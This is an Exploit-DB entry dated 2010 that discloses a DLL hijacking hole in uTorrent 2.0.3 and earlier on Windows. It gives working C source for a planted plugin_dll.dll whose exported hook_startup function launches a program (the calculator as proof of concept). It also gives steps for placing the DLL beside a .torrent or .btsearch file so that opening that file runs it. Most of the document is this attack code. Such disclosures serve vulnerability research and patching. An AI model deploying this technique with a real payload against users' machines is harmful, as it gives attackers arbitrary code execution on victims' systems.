μTorrent (uTorrent) 2.0.3 - 'plugin_dll.dll' DLL Hijacking

EDB-ID:

14726


Author:

TheLeader

Type:

local


Platform:

Windows

Date:

2010-08-24


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/*
Exploit Title: uTorrent <= 2.0.3 DLL Hijacking Exploit (plugin_dll.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://www.utorrent.com/downloads
Version: 2.0.3 and prior
Tested on: Windows 7 x86 (6.1.7600)

Compile and rename to plugin_dll.dll, create a file in the same dir with one of the following extensions:
.torrent / .btsearch

Double click & watch a nice calculator pop =]

A nice post about DLL Hijacking by Yam Mesicka (hebrew):
http://www.mesicka.com/dll-hijacking-windows-hd-moore/

@avivra: glad to provide entertainment for you guys =D

*Even more shouts* to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}